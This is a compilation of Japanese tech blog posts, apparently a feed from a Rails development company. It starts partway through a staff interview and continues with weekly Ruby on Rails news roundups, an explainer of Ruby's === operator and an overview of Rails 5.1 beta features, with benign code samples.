  •  うーん。じゃあ日常系でお願いします。

じゃあ日常でいいんじゃないんですか。

  •  漫画じゃないですか(怒)

というか日常系ってどんなんですか。

  •  いや、それはご◯うさじゃないですか。

はははっ(冷笑)。そろそろオススメトークやめませんか。

  •  やめません。ので最近読んで面白かったのを教えて下さい。

あー、うーん。推理モノですけど珈琲店タレーランの事件簿ってやつがおすすめです。日々のちょっとした事件を解決していく、みたいな話です。あとは辻村深月さんっていう作家の方が好きですね。

  •  ちなみに辻村深月さんのオススメのタイトルはありますか。

「ハケンアニメ!」ってやつと「子どもたちは夜と遊ぶ」あたりが好きですね。

  •  ありがとうございます。でも全体的に新しめといいますかナウいのをよく見られるんですね。

あんまり古いものは読まないですね。で、最近の小説ってなんかミステリーっぽいの多いので自然と読むのがミステリーっぽいものばっかりになってます。

  •  ありがとうございます。小説の他におすすめしたいものは何かありますか。(適当)

あっ!ズートピア!

  •  おっ、ズートピア。僕は見に行ってないんですけどやたら見に行った人たちが「いいぞー」って言ってて気になってます。でもみんな「いいぞー」しか言わなくて面白さを教えてくれないので、どのへんが面白いのか教えて下さい。

たとえばウサギは人参を作る、とか役割が決められてる世界なんですけど、主人公の女の子(ウサギ)は警察官になりたくて、ズートピアっていう、まぁ東京みたいな大きな街に行ってそこで夢に向かって頑張っていくところがとても応援したくなります。

  •  ウサギは人参作っても食べちゃいそうですけどね。なんといいますか、ウサギは人参を作るべき、〜は〜すべき、みたいな社会的な偏見といいますか、そういうものと戦うところに心を打たれるって感じでしょうか。

夢を追う中で、打ちのめされたりもするんですけど、それでも頑張っていくという姿がグッときました。

  •  なるほど。

あとは話が綺麗にまとまっていたところが良かったですね。伏線がしっかり回収されてたり。物語としてしっかりしているところが素晴らしかったです。

rokuro

↑かなり気合の入ったろくろ回しをしながら語っていました。

  •  はい。ありがとうございました。長くなってきたので以上にしますが、なにか最後にメッセージはありますか?

いやー……ないですけど。田島さんは何か言っていましたか?

  •  「なんで自分が一番目なんだ」って言ってました。

それメッセージじゃなくないですか。

shigoto

↑仕事してる感を出していただいた写真。とりあえずターミナルを開いて適当なコマンドを打ってもらいます。

Rubyの===演算子についてまとめてみた

$
0
0

こんにちは、hachi8833です。

前回の週刊Railsウォッチrescueの項で扱った、Rubyの===演算子の動作を以下にまとめてみました。

Rubyの===演算子について

左辺が単独のStringやIntegerオブジェクトの場合
==と同じ動作
左辺がClassオブジェクトの場合:
右辺がそのクラスのインスタンスであるかどうかを比較する
左辺がRegexオブジェクトの場合:
右辺とマッチするかどうかを取れる

前回と同じ記事「Rescue’s Elegant Trick for Knowing Which Exceptions to Catch」のコードがわかりやすいので、再度引用します。

(1..10) === 5             # true
('a'..'f') === "z"        # false

String === "hello"        # true
String === 1              # false

/[0-9]{3}/ === "hello123" # true
/[0-9]{3}/ === "hello"    # false

公式ドキュメントには以下の記述があります。

特殊な等号演算子。Object#===での説明:「このメソッドは case 文での比較に用いられます。 デフォルトはObject#==と同じ働きをしますが、 この挙動はサブクラスで所属性のチェックを実現するため 適宜再定義されます」。たとえば、Range#===はotherが範囲内に含まれている時に真を返します。
Rubyで使われる記号の意味: ===より

参考: JavaScriptの===との違い

Rubyのトリプルイコール演算子===は、Rubyの通常の==演算子よりフレキシブルな、見方を変えればゆるい演算子です。

一方、以下のようにJavaScriptの厳密等価演算子である===は、等価演算子==より厳密な比較(型を変換しない比較)を行います。

同価演算子(===!==
型を変換せずに厳密に比較する
等価演算子(==!=
型が異なる場合は変換してから上の同値比較を行う

週刊Railsウォッチ(20170227)Rails 4.2.8リリース、SHA-1コリジョンアタック、便利なハッシュ変換ツールほか

$
0
0

こんにちは、hachi8833です。今週は公式サイト以外からの情報も少し多めにしようかと思いましたが、4.2.8リリース記事を優先しました。

臨時ニュース: SHA-1のコリジョンアタック手法が見つかったとGoogleから発表

Slackでbabaさんの書き込みから第一報を知りました。早くも日本語ニュースが出ていますので、詳しくはそちらをどうぞ。

HackerNewsのスレ「Announcing the first SHA-1 collision (googleblog.com)」では、PDFをドロップするだけでSHA-1コリジョン問題を手軽にチェックできるhttps://shattered.it/サイトが大賑わいになっています。問題の要点がよくまとまっていて助かります。


https://shattered.it/より

同サイトにはお試し用のPDFも2つ置かれています。「アップロードしたファイルを保存したりなんかしませんのでご安心を(Rest assured that we do not store uploaded files.)」とあります。なお、https://shattered.it/の証明書はLet’s Encryptでした。

同サイトによると、署名/ファイル整合性チェック/ファイル識別にSHA-1を使っている以下のようなアプリケーションにはこの問題の影響を受ける可能性が潜んでいるかもしれないとのことです。

  • 電子証明書の署名Digital Certificate signatures
  • メールのPGP/GPG署名
  • ソフトウェアベンダーの署名
  • ソフトウェア更新
  • ISOチェックサム
  • バックアップシステム
  • 重複除外(deduplication)システム ←この言葉を初めて知りました
  • Git
  • などなど

⭐ emn178.github.io/online-tools: SHA/MD5/Base64などをリアルタイム変換できるWebツール ⭐

上述のSHA-1問題に関連してBPSアプリチームのu-ichiさんが見つけました。今週の⭐を進呈いたしましたので先にご紹介します。

これすごく便利です。思いつく限りのハッシュ/CRCチェックサム/HTMLエンコードをブラウザ上で変換できます。


https://emn178.github.io/online-tools/index.htmlより

おまけにその場で結果を確認できるシンタックスハイライトまであります。

何も足さない・何も引かないを体現したような、徹底的に素朴なデザインです。強いて言うならツール名が「Online Tools」とあまりにそっけなさすぎるのでググりにくいぐらいでしょうか。

これに私が普段から愛用している万能変換Webツールhttp://r12a.github.io/apps/conversion/と合わせれば、たいていの文字コード変換処理はこなせそうです(海外ツールなのでShift_JISやEUC関連などはご勘弁を)。

Rails 4.2.8リリース

先週rc2だったのが正式にリリースされました。Ruby 2.4で修正されたDateTime#to_time#12189)に伴う修正が中心です。なお私のRails 4.2.7アプリにはすとんとインストールできました。

Readme記載の変更点のみ以下にまとめます。Railsウォッチでも既出のものがちらほら見当たりますね。普段から追い続けているとだんだん見えてくるのがうれしいです。

Rails 4.2.8のRailtiesの修正

#24617
to_timeを呼んだときにレシーバのタイムゾーンを変更しないようになった
#22742
ActionDispatch::IntegrationTest#open_session作成後にセッションを直接リセットするようになった
#19880
Rails::Applicationからアプリケーション定数が継承された後、なる早でbefore_configurationを実行するようになった

追伸: before_configurationとfigaro gem

before_configurationなんてフックがあったんだ!」「before_initializeってのもあるけどどう違うんだ?」と一同の間で驚きがありました。起動時に環境変数などのチェックをしたい場合にはこのような起動のごく初期段階で呼ばれるフックが必要になりそうですね。

このあたりの初期化フックについてはRailsガイドの初期化プロセスに詳しく載っています(日本語版が追いついていないので英語版にリンクしました)。

上のフックに関連して、Railsの起動時の環境変数周りを制御できるfigaroというgemも見つけました。development/test/productionごとに切り替えたい定数がある場合によさそうです。主にHerokuでの利用が想定されていますが、他でも使えます。

Rails 4.2.8のActiveSupportの修正

修正
ActiveSupport::TimeWithZoneDateTime#getlocal#getutcが常にTimeのインスタンスを返すようになった

ActiveSupport::TimeWithZoneDateTimeを返していたためにto_timeで呼び出しスタックが深くなりすぎてエラーになる可能性があった問題が修正されました。

新メソッド: DateTime#subsec
秒の分数をRationalで返す
追加
ActiveSupport::TimeWithZoneTimeにもDateTime#utcのエイリアスを追加
新メソッド: DateTime#localtime(とそのエイリアスgetlocal
システムのローカルタイムゾーンをTimeのインスタンスで返す
新メソッド: Time#sec_fraction
秒の分数をRationalで返す
#24617
to_timeでのタイムゾーンの扱いを設定するオプション ActiveSupport.to_time_preserves_timezoneを追加

Ruby 2.4以降では、to_timeレシーバのタイムゾーンを変更しないようにするためにローカルシステムのタイムゾーンに変換するようになりました。この設定オプションはデフォルトではfalseに設定されるので、従来のRailsアプリを4.2.8にアップグレードしても設定を変更するまでは直接の影響はありません。

>> ENV['TZ'] = 'US/Eastern'

>> "2016-04-23T10:23:12.000Z".to_time
=> "2016-04-23T06:23:12.000-04:00"

>> ActiveSupport.to_time_preserves_timezone = true

>> "2016-04-23T10:23:12.000Z".to_time
=> "2016-04-23T10:23:12.000Z"
#26296 新メソッド: #init_with
ActiveSupport::TimeWithZone and ActiveSupport::TimeZoneに追加

3aa26cfで行われたタイムゾーン関連の修正によってシリアライズのYAMLフォーマットの日付文字列がUTCに変更されます。これを一時的に取り消したい場合のためのinit_withが導入されました。

#26580
ActiveSupport::TimeWithZone#inのサマータイム(DST)前後の動作を修正

従来の#inmethod_missing経由でTime#sinceに渡されていましたが、Time#sinceがサマータイムに対応していなかったので、サマータイムに対応できるActiveSupport::TimeWithZone#sinceをエイリアスしました。

Time.zone = "US/Eastern"

t = Time.zone.local(2016,11,6,1)
# => Sun, 06 Nov 2016 01:00:00 EDT -05:00

t.in(1.hour)
# => Sun, 06 Nov 2016 01:00:00 EST -05:00

Rails 4.2.8のActiveRecordの修正

修正
mysql2が接続に失敗した後に「connection is closed」エラーメッセージを出力するようになった(従来はundefined methodエラー)
修正
カラム情報をリセットしたときにModel.attribute_namesキャッシュを破棄するようになった
修正
型情報がリセットされた時のクエリのキャッシュの動作が修正された(Rails 5.0の修正をついでにバックポート反映)
#13775
joinsを正常にunscopedできるようになった
#25978
マッピング関連メソッドがすべてHashに実装されていればcomposed_ofのセッターにハッシュを再度渡せるようになった

追伸: composed_ofについて

一同でリリースノートをチェックしていて、このActiveRecordのcomposed_ofというメソッドにkazzさんが熱い視線を注いでいました。composed_ofについてはいつか別記事で追ってみたいと思います。

instrument nameのキャッシュをfreezeして高速化(Rails公式ニュースより)

ここからはいつもどおり、今後のRailsでの更新情報です。

ActionMailer::Base#instrument_nameActionController::Base#instrument_nameはキャッシュ後に頻繁に使われることが多いので、呼ばれるたびにStringを#newするのをやめてfreezeしたそうです。修正はピンポイントです。

primary_keys()をシンプルにしてPostgreSQL向けに最適化(Rails公式ニュースより)

@kamipoさんの#27997の続きです。unnestから返される値の順序が一定していないので、PostgreSQL 8.4から利用できるようになったgenerate_subscriptsを使って最大64%まで高速化されたそうです。

続: ネストしたRailsエンジンでのrails generateの動作を修正(Rails公式ニュースより)

週刊Railsウォッチ(20170120)でも取り上げた#27550 Fix generator command for nested (namespaced) rails engineに再度修正が行われました。

b6ffb5eで行われた別の修正namespaced_pathがStringの一部として扱われるようになったので、#27550ではnamespaced_pathがArrayを返していたのをStringで返すように変更しました

expression indexもremove_indexで削除できるようになった(Rails公式ニュースより)

これも@kamipoさんのお仕事です。expression indexって何かと思ったらPostgreSQL固有の機能だったんですね。テーブルの他のカラムから算出したスカラー値をインデックスで使えるというものです。

Difference between MySQL and PostgreSQL ( MySQL Vs PostgreSQL )によるとMySQLではexpression indexをサポートしていないそうです。

データベースをRAMディスク化してCIビルドを高速化(OpenRubyより)

MySQLにRAMディスクを導入してみたところCIのビルドが32%速くなったそうです。短いのですぐ読めます。

AWSのRuby SDKとDynamoDBでテスト駆動開発してみる

RSpecを使ってテスト駆動開発という記事です。前書きは飛ばしてよいと思います。
むしろこの記事をきっかけに以下を見つけました。

k1LoW/awspecは数少ないAWS向けのRSpecテストgemです。


https://github.com/k1LoW/awspecより

Azure App Web Service on Linux上でRubyを使うには(OpenRubyより)

Microsoftの公式記事です。RubyをApp Web Service on Linuxサービス上で動かす方法の解説です。Railsとは書いてありませんが、Rubyが動くならRailsも動きそうです。

使ったことはありませんが、Microsoft Azure自身はかなり以前からRuby on Railsに対応しています: Windows AzureがRuby on Railsに対応。次々とオープンソースを取り込むWindows Azure(2009年の記事)

DHHの2017セッションのまとめ

他でも読める内容ですが、韓国語のRails記事が珍しかったので目に止まりました。Google翻訳は便利ですね。

おまけ: Google翻訳の日本語<=>韓国語翻訳はかなりすごい

Google翻訳の日本語<=>韓国語翻訳は、日<=>英翻訳が話題になるよりずっと前からかなり質の高い訳文を生成できます。

それより前は日<=>韓機械翻訳は内部で英語を経由していたようなふしがありましたが、7、8年ほど前から中間言語を経由しないネイティブになったように思えました。

マジで、マニュアルレベルだったら日<=>韓機械翻訳は下訳として使えてしまうほどです。両言語は語順が同じで、敬語の概念もかなり似ているので、機械翻訳が効きやすいのかもしれません。

Google SpreadsheetにPythonでアクセス


Google Spreadsheets and Python
より

Googleオフィススイートのスクリプティングは、従来ならGoogle Apps Scriptという名称のJavaScriptでやるのが定番でしたが、Pythonでもできるんですね。

Excel VBAで書いたスクリプトはOfficeがアップグレードするたびに動かなくなってさみしい気持ちになったのを思い出します(´・ω・`)。

KahnAcademyでアルゴリズムを学ぶ(HackerNewsより)


KahnAcademy: COMPUTER SCIENCE – Algorithmsより

この種の他サイト同様、デザインも見せ方も秀逸ですね。動画や文章による解説のほかにクイズや練習問題もあり、質疑応答も受け付けています。
Dartmouth大学と提携して作成された本格的な内容です。

KahnAcademy: COMPUTER SCIENCE – Algorithmsより

引用回数の多い機械学習系論文(HackerNewsより)

Awesome系の中ではかなり頑張ってる感じです。機械学習系の研究は新しいアルゴリズムがたった1年で陳腐化したりするぐらい異常に足が速いらしいので、こういうメモ書きでもありがたいのだと思います。

外野から見ていると、機械学習系の研究者はスプリントレースの速度でマラソンしながら宝探ししているようなデスレースっぽい世界でしのぎを削っているような塩梅ですね。知力の他に頑健な基礎体力もないとやっていけないかもです。ご自愛ください。

GitHub Trendingなどでちょくちょく見かける「Awesome」で始まるタイトルは日本で言うまとめサイト的な情報ですが、思ったほどいい情報でもなかったり、あっという間に古びてしまうことが多いので、Railsウォッチの情報収集ではたいていスルーしていました。Awesomeは英語圏だと割りとバズらせやすい安易な言葉になりつつあるような気がします。

おまけ

WebチームのtazuさんがGitHubで上のAwesomeタグを表示する方法を見つけました↓。

JavaScriptはどのぐらい人気か

StackOverflowとGitHubでの人気をそれぞれ縦横に配置しています。JavaScript以外にもRubyやPythonやC#やObjective-Cがトップ群にいます。

Opal: Ruby->JavaScriptコンパイラ

昨日・2月23日に渋谷で開催されたRuby Business Users Conferenceでの@matzの基調講演でも取り上げられていたそうです。


http://opalrb.org/より

玉虫色のルビーがシンボルマークになっていて、このソフトウェアの性質と位置づけをうまく表していると思います。


http://opalrb.org/try/より

番外1: 40光年離れた恒星で7つの地球型惑星が見つかる

既に日本語でも報じられていますのでご存じの方も多いと思います。

最近のNASAの発表は「今夜重大な発表があります」という前フリがつくことがやけに多いのですが、予算削減と戦うための手段なのかなと思ってしまいました。

番外2: 手書きの画像をそれっぽい写真にフェイクする

BPS社内でもたちまち流行しました。手書きのネコ画像がみるみるグロい謎のリアル画像に変化しました。

番外3: www.w3c.orgにW3Cバリデータかけてみたお

BPS WebチームのebiさんがふとW3CのCSSバリデータにwww.w3c.orgをかけてみたところ、以下の結果が得られました。

自サイトの正規化が間に合わないほどCSSの仕様改定が激しいという一面もありそうですね。文句を言うのは簡単ですが、これほどの規模の仕様のメンテがどれだけハードかを想像してしまいます。カスケード(継承)をやめるかうんと減らしてdelegate的に欲しい機能だけをブラウザのデフォルトスタイルシートで持つようにしたらだめなのかな(´・ω・`)。

W3Cのバリデータサービスを激しく使うと数時間ほど外部IPアドレス単位でアクセスできなくなることがあるので、みなさんもそおっと使ってあげてください。面白半分のアクセスを増やさないため、この項ではあえてW3Cとバリデータにリンクを張っていません。

今週は以上です。

関連記事

今週の主なニュースソース

ソースの表記されていない項目は独自ルート(TwitterやRSSなど)です。

Rails公式ニュース

OpenRuby

RubyFlow

160928_1638_XvIP4h

Hacker News

160928_1654_q6srdR

Github Trending

160928_1701_Q9dJIU

5.1 beta1リリースノートに見るRails 5.1の姿

$
0
0

こんにちは、hachi8833です。Rails 5.1beta1がリリースされました。Rails 5リリースからのコミット数は既に3500件を超えているそうです。

なおRails 5.0.2.rc1も並行してリリースされました。

beta1にみるRails 5.1の姿

公式ニュースの情報では、5.1で予定される多数の更新の中から以下をピックアップしています。週刊Railsウォッチをお読みの方は多くの項目に見覚えがあるかと思います。

5.1リリースまでに詳細は変わる可能性がありますが、この方向性で進むと考えてよいと思います。

JavaScriptとの連携を強化

注: yarnとWebpackは外部ツールなので、利用のためには別途インストールが必要になります。以下はMac環境でHomebrewを使ってインストールする場合のコマンドです。

  • brew install yarn
  • yarn global add webpack(yarnのインストール後に行う)

JavaScriptの管理をnpmからyarnに変更する


https://yarnpkg.com/en/より

yarnには、Rubyにおけるbundlerと同じ役割をJavaScriptで果たしてもらうことが期待されているのがわかります。

yarnの導入に伴い、vendor/assetsディレクトリの利用は廃止されます(#27300)。

Webpackをオプションで利用可能に


http://webpack.github.io/より

yarnとともに、近年急速に人気の高まっているWebpack--webpackオプションで選択できるようになりました。5.1でrails newするのであれば、やることが多すぎていつも大変そうだったアセットパイプライン周りのタスクをWebPackで行えるというのは魅力かもしれません。

11/25の週刊Railsウォッチで取り上げた記事「Replacing the Rails Asset Pipeline with Webpack and Yarn」のとおりに進んでいるので、同記事はアセットパイプラインやWebpack周りでは必読ですね。許可を得られたら翻訳してみようと思います。

WebpackをRailsに導入しやすくするためにwebpacker gemが新たに開発され、従来のアセットパイプラインとの完全互換をうたっています。

追伸: 5.1アップグレードでWebpackを導入した場合に考えられる影響

morimorihogeさんからの指摘を元に注意点を追記します。

Webpackは同リリースノートでは「This is fully compatible with the asset pipeline」と完全互換をうたってはいますが、従来のSprocketsと同時に使うものではないため、Sprockets依存の部分でさまざまな変更が発生することが予測できます。変更の量や部位については現時点では未知ですが、CoffeeScriptのトランスパイラなどもWebpackに置き換えられることから、5.1へのアップグレードでWebpackを導入すると場合によってはかなりの変更が発生するかもしれません。

なお、記事執筆時点でのSprocketsバージョンは4.0.0beta4です。Webpackを導入しない場合や5.1より前のRailsでは引き続きSprocketsが必要なので、4.0.0のリリースも待ち望まれるところです。以下はWebpackのオプション導入が報じられる前のスライドです。

デフォルトでのjQuery依存をなくす

従来jQueryで書かれていたRails用のコードがvanilla JS(=素のJS)で書き直されたことにより、jQueryなしでもRailsを利用できるようになります。

システムテストの改良

Capybara gemの導入

結合テストや受け入れテストでJavaScriptを扱いやすくするためにCapybara gemが標準で導入されます。

テストに使うデータベースの扱いがマルチスレッドに対応

Capybara gem導入に伴い、マルチスレッドでのトランザクションテストのデータベースの扱いが改善され、テストデータベースをより安全にクリーンアップできるようになります。

多数の秘密情報をマスターキーで一元管理できるようにする

sekretsというgemにヒントを得た新機能だそうです。

新しいコマンドbin/rails secrets:setupを実行すると「マスターキー」が生成されます。このマスターキーで秘密の情報(パスワードなど)を暗号化してsecrets.yml.encのようなファイルでGitに保存できるようにし、本番などでの利用の際はこのマスターキーを別ファイルからinjectしたりRAILS_MASTER_KEY環境変数で与えて復号する、という運用になりそうです。もちろんマスターキーはリポジトリには絶対登録せず、別の場所で厳重に保管します。

Railアプリで使うパスワード情報が増えたときにありがたい機能だと思います。

#28038はまだまだ議論が続いているので、詳細はまた変わりそうです。

ActionMailerをパラメータ化

before_actionのようなフィルタをActionMailerでも使えるようになります。これによりメイラー間の共通処理をフィルタでDRYに書けるようになります。

ルーティングの改良

#23138でdirectedルーティングとresolvedルーティングが導入されるそうです。directedとresolvedは訳すとかえってわかりにくくなりそうなので英ママにしてみました。

directedルーティング(directed routes)

DHHの発案です。以下のような感じでルーティングのヘルパーを書けるようになります。

# https://github.com/rails/rails/issues/22512 より
  direct(:readable) do |recording|
    case recording.recordable_name
    when 'comment', 'client_reply'
      url_for [ :commentable, recording ]
    when /chat_lines/
      if recording.bucket.circle?
        url_for [ :circle_around_line, recording.bucket, recording ]
      else
        url_for [ :bucket_chat_around_line, recording.bucket, recording.parent, recording ]
      end
    when 'question_answer'
      url_for [ :bucket_question_date, recording.bucket, recording.parent, recording.recordable.group_on, anchor: recording.anchor_dom_id ]
    else
      url_for [ :recordable, recording ]
    end
  end

resolvedルーティング(resolved routes)

モデルなどに基づいたポリモーフィックなルーティングをよりシンプルに書けるようになります。

たとえばlink_to @commentがroutes.rbで以下のように書けます。

message_path(@comment.parent, anchor: "comment_#{@comment.id}")

form_tagとform_forを統一

フォーム作成用ヘルパform_tagform_forは、今後form_withで統一的に扱うようになります。これもDHHの発案です。

# form_tagの例
<%= form_tag('/posts') do -%>
  <div><%= submit_tag 'Save' %></div>
<% end -%>
# =>
# <form action="/posts" method="post">
#   <div>
#     <input type="submit" name="commit" value="Save" />
#   </div>
# </form>
# form_forの例
<%= form_for :person do |f| %>
  First name: <%= f.text_field :first_name %><br />
  Last name : <%= f.text_field :last_name %><br />
  Biography : <%= f.text_area :biography %><br />
  Admin?    : <%= f.check_box :admin %><br />
  <%= f.submit %>
<% end %>

週刊Railsウォッチ(20170310)クールなDocker監視ツールCtop、RailsがGoogle Summer of Code 2017に正式参加、Unicode 10.0.0ドラフト発表ほか

$
0
0

こんにちは、hachi8833です。先週のAWSに続いておととい3/8に東日本のAzureもコケたようです(参考: Qiita記事)が、全然使ってないので様子がわかりません。ざっくり検索した限りでは一般の反応が非常に少ないのが不思議です。

同じ頃に発生した「マルタ名所「アズール・ウィンドウ」が崩壊 強風と高波で」は全然関係ないニュースですが、思わずタイトルに釣られそうになりました。

季節の変わり目なので皆さまも体調と脳のコンディションにはお気をつけください。それでは今週もいってみましょう。

臨時ニュース: Unicode 10.0.0ドラフトが発表

Unicode Consortiumの皆さまお疲れさまです。まだまだTBDだらけですが、今年の6月に固めたい意向のようです。以下のドラフトが目につきました。黄色が目にまぶしいです。

セキュリティメカニズムではUnicode spoofingの防止策が提案されています。国際化ドメイン名(IDN)を悪用した攻撃などが想定されているようです(参考: Wikipedia_en: IDN homograph attack)。


Wikipedia_en: IDN homograph attackより

homographは本来「同形異義語(弓のbowとお辞儀のbowなど)」を意味しますが、ここでは違う言語のそっくりな文字に差し替えることなどを指しています。上の画像ではeとaがこっそりキリル文字に差し替えられています。単純ですがドメイン名をなまじ目視チェックするとひっかかってしまいそうです。

10.0の文字データベースはUNICODE CHARACTER DATABASE(Annex #44)に掲載される予定です(まだないっぽい)。

調べているうちに、絵文字の提案フォームを見つけました。どなたか勇者はいませんか。

GoogleのSummer of Code 2017にRuby on Railsが正式参加を認められた(Rails公式より)

当初Rails公式ニュース(/news)のトップに掲載されていたと思ったのですが、微妙に違う位置に移動しています。


https://summerofcode.withgoogle.com/より

大学生・院生など(18歳以上)を対象に、夏休みの自由研究ならぬオープンソースプロジェクトへの貢献を推進する企画だそうです。詳しく読んでませんが、賞金も出るようです。学生の参加資格には「米国との通商が禁じられている国に居住してないこと」とあるので、日本在住の日本人大学生でも参加できます。

これやってくれたらうれしいリストの中に「ActionViewテンプレートのeager loading化」というのがあります。言われてみればRailsのビューテンプレートはlazyなんですね。

RailsGirls企画もあります( ^ω^)ワクワク

⭐Ctop: topコマンド風にDockerコンテナを監視⭐


https://bcicen.github.io/ctop/より

一昨日にmorimorihogeさんが発見して社内Slackに流してくれました。実用はもちろん、この美しさだけで既に勝利してますね。

昨日夜の時点では公開後10日で☆80個でしたが、今見たら☆1,100個超えていました。

私どもからも久しぶりの⭐を進呈いたします。おめでとうございます。

機能追加: ルーティングのカスタムURLヘルパーとポリモーフィックマッピング(Rails公式より)

先週のTechRacho記事「5.1 beta1リリースノートに見るRails 5.1の姿」で既に#23138をご紹介していました。Railsの新機能関連IssueはTechRachoでだいぶ先回りしてしまったので今週は少なめです。

機能改善: Railsアプリの秘密情報を使ってより強力なAES-128-GCM暗号化アルゴリズムを利用できるようにする(Rails公式より)

これも「5.1 beta1リリースノートに見るRails 5.1の姿」でご紹介した#23038: Add encrypted secretsに関連しています。

改修はシンプルで、暗号化方式の変更のついでに従来OpenSSL::Cipher.new("aes-256-cbc")とリテラルで書いていたのをCIPHER = "aes-128-gcm"と定数化しています。

#pack("H*")

一同で上のコードをつっついていて、ふと#pack(“H*”)って何じゃらほいという話題になりました。

def key
  [(ENV["RAILS_MASTER_KEY"] || read_key_file || handle_missing_key)]
  .pack("H*")
end

当初私は単なるzip/unzipみたいなものかなと想像していたのですが、どうやらさまざまなバイナリ的変換を行うメソッドのようです。Rubyリファレンスマニュアル: Array#packをこわごわ開いてみるとunsignedだのビッグエンディアンだのと生々しい記述だらけです。Hはhexadecimalだったんですね。

Webチームのkazzさんが「これはC言語由来だったはず」と教えてくれました。どうにかC言語のコードらしきものを見つけてみると#pragmaが使われていて、リファレンスにあるとおりシステム環境に依存することを実感できました。速そうですがあまり直接触りたくない感じです。

packはRubyのみならずPerl/PHP/Pythonなどでも広く変換に使われているようです。

RSpecマッチャをチェインしてテストコードを読みやすくする(OpenRubyより)

RSpecのマッチャを書くときの参考になります。短いのですぐ読めます。

# https://robots.thoughtbot.com/chain-rspec-matchers-for-improved-test-readability より
expect(page).to have_css("dd ul li", count: 2)
expect(page).to have_css("dd ul li", text: "I read the New York Times every day")
expect(page).to have_css("dd ul li", text: "I read the Washington Post every day")

マッチャを自作して、元のテストコード(上)を下のように書けるようにしたそうです。

# https://robots.thoughtbot.com/chain-rspec-matchers-for-improved-test-readability より
expect(page).to have_multiple_choice_responses(
  "I read the New York Times every day",
  "I read the Washington Post every day"
)

「こういうテストを大量に書かないといけないんでなければ、別に元のまんまでもいいじゃないかなーw」という声もありました。

Rails開発者に求められる8つの資質(OpenRubyより)

「またか」と思いつつ「今度こそいいこと書いてあるかも」とつい開いてしまいがちなPV集め系記事ですね(開いてしまいました)。以下の8つがリストアップされています。

  1. 開発への情熱
  2. フロントエンドの開発スキル
  3. コードの品質の高さ
  4. 自分でスキルを高められる
  5. 地のプログラミング能力の高さ
  6. データベース技術の知識
  7. コミュニケーション能力
  8. ベストプラクティスに沿って開発できる

記事末尾では以下のリンクも紹介されています。Quoraの方には「事前に手を打てる戦略性の高さ」というのもあり、私の年だと真田さん岸和田博士の得意のセリフ「こんなこともあろうかと」を連想してしまいました。失礼しました。

参考

Unibits gem: CLIで使う文字コードバリデータ(RubyFlowより)

GitHub Trendingでも上昇中の、Unicode系文字コードをCLIやRubyコード内でバリデーションするツールです。コードが壊れていると赤く表示されます。

表示が美しくてうれしくなります。Shift_JIS? EUC? 知らない子ですね。

作者のjanlelis氏は他にもUnicode関連のgemを大量にこしらえています。ここまで多いと恐怖すら感じますが、文字コード厨のわたくしは思わずフォローしてしまいました。

ところでエラーの赤以外のカラーリングの根拠がよくわからなかったので掘ってみると、unicolors gemなるものを使っています。しかしこのgemがネットのどこにも見当たりません。作者のローカルgemサーバーにいるのか、公開準備中なのかもしれません。

Rubyで強力なCLIツールを作る(RubyWeeklyより)

記事後半の「プラットフォーム間互換性をどうにかする」あたりが個人的に興味ありました。

Ruby標準のRbConfigモジュールを使って動作環境を取得できます。でも結局場合分けが必要なんですね。

RbConfig::CONFIG['target_os'] #=> "darwin16"(MacOSの場合)

コンソールのクリアコマンドがLinux/MacだとclearなのがWindowsだとclsなので、エスケープシーケンスを直接吐いて強引にクリアを実行するなど、マルチプラットフォームにしようとすると主にファイルパス周りで涙ぐましい努力が必要になってしまいますね。誰を恨めばいいのでございましょうか。誰を誰を誰を誰を

RubyのオブジェクトをHashキーにする(RubyWeeklyより)

Rubyで書かれた任天堂NES(≒ファミコン)エミュレータoptcarrotのコードで著者が見つけた問題点とその解決法を紹介しています。任意のRubyオブジェクトをHashキーにするテクニックです。

ポイントはHashでメモ化(memoization)を使ってMethodオブジェクトが無駄に複製されるのを防ぐことです。Rubyではこういったメモ化を||=で実に簡単に行えるのがいいよね、と盛り上がりました。ifで律儀に3行も使って書かなくてもよいので。

Rubyのメモ化の合言葉は「たてたてイコール」です。はいみなさんもご一緒に。

ところでoptcarrot、READMEがないお(´・ω・`)。

[動画] 12分で理解できるRails 5.1の変更点と新機能(RubyWeeklyより)

動画ですがコードも表示されています。内容的には「5.1 beta1リリースノートに見るRails 5.1の姿」で足りますが、WebPackを動かすところを手っ取り早く見たい方にはよいと思います。


#69 Ruby on Rails 5.1.0 Changes and New Featuresより

Ruby+OMRによるJITコンパイラの今後(RubyWeeklyより)

IBMのブログ記事です。OMRって何だろうと思ったら、Eclipseで任意の言語向けの実行環境を構築するための仮想マシンツールキットだそうです。なおOMRは略語ではなく単なるプロジェクト名だそうです(参考)。

公開されたrubyomr-preview/rubyの☆はまだそれほどありませんが、Forkは3000件を超えています。Forkが多すぎてクリックしても表示できませんでした(´・ω・`)。

JITコンパイラの成果はRuby 3X3に反映されると見込まれます。IBMがRuby 3×3を強力に支援していることがよくわかりました。

Railsチュートリアル英語版が怒涛のシリーズ化

Railsチュートリアルの原著者としておなじみのMichael Heartl氏が、いつの間にかシェル/HTML/CSS/JavaScriptなどをカバーする入門書籍を大量生産しています。CSSやJavaScriptはまだ執筆中ですが、Railsチュートリアル同様ネットでは無料で全文公開されています。

従来のRailsチュートリアルで「HTMLはこれ読め」「シェルはこれ読め」で泣く泣く済ませていた部分を全部自分でカバーしようとしているようです。ノリノリですね。

中でもAction Cableはよさそうです。


https://www.learnenough.com/action-cable-tutorialより

Grimore.js: 日本発のWebGLフレームワーク


https://github.com/GrimoireGL/GrimoireJSより

見出しのとおり、日本で開発されたJavaScriptのWebGLフレームワークなのでドキュメントもチュートリアルも全部日本語で読めます。こんな風に書くだけでグリグリモアモアと動き出します

<!-- https://grimoire.gl/example/example-008.html より-->
<goml width="fit" height="fit">
  <renderer camera=".camera" viewport="0,0,100%,100%">
    <render-scene/>
  </renderer>
  <scene>
    <camera class="camera" near="0.01" far="40.0" aspect="1.0" fovy="45d" position="0,12,17" rotation="-35,0,0" >
      <camera.components>
        <StareAt center="0,0,0" speed="0.007" zoom="5" zoomPhase="1.4"/>
      </camera.components>
    </camera>
  </scene>
</goml>

Rubyで学ぶSOLID設計

SOLIDについてはTechRacho記事「Rubyスタイルガイドを読む: クラスとモジュール(2)クラス設計・アクセサ・ダックタイピングなど」でも紹介しましたが、こちらにも再録しました。

そこそこ長いですが大半はコードなので、時間ができたときにどうぞ。

重要でない文字列をPostgreSQLのJSONB型を使ってデータベースに保存する

文中の「Just wing it」は英語圏の流行語です。

